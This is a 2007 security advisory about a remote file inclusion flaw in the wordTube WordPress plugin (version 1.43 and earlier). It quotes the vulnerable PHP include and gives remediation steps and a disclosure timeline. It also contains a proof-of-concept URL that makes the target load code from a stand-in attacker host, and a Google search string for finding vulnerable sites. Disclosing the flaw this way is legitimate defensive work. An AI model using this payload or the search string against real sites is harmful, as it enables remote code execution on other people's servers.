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[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability
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Author : M.Hasran Addahroni
Date : April, 30th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv81-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : wordTube
version : <= 1.43
Vendor : http://alexrabe.boelinger.com/?page_id=20
Description :

This plugin creates your personal YouTube plugin for wordpress.
wordTube supports the streaming video format (Format .flv or .swf),
sound files as MP3 and JPG, GIF or PNG grafic files.

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Vulnerability:
~~~~~~~~~~~~~
- Invalid include function at wordtube-button.php :

----------------wordtube-button.php-------------------
...

*/
// get and set path of function

if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];

require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
...
----------------------------------------------------------------

Input passed to the "wpPATH" parameter in wordtube-button.php is not properly verified before being used to include files.
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.

Poc/Exploit:
~~~~~~~~~

http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wp
PATH=http://attacker.com/evil?

Google dork:
~~~~~~~~~
"inurl:/plugins/wordtube"

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version

Notification:
~~~~~~
- 30-04-2007 bugs found
- 30-04-2007 vendor contacted
- 1-05-2007 advisory released

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Shoutz:
~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,bayl
aw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net

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Contact:
~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

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